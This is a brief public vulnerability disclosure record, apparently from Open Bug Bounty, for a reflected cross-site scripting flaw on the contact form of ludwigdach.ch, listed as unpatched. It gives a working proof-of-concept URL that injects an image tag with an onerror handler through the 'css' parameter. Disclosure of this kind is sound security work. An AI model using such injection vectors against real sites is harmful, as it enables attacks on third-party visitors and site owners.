ludwigdach.ch XSS vulnerability

Vulnerable URL: http://www.ludwigdach.ch/a/main/contactform.php?css=1%22%3E%3Cimg%20src=x%20onerror=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 17106471...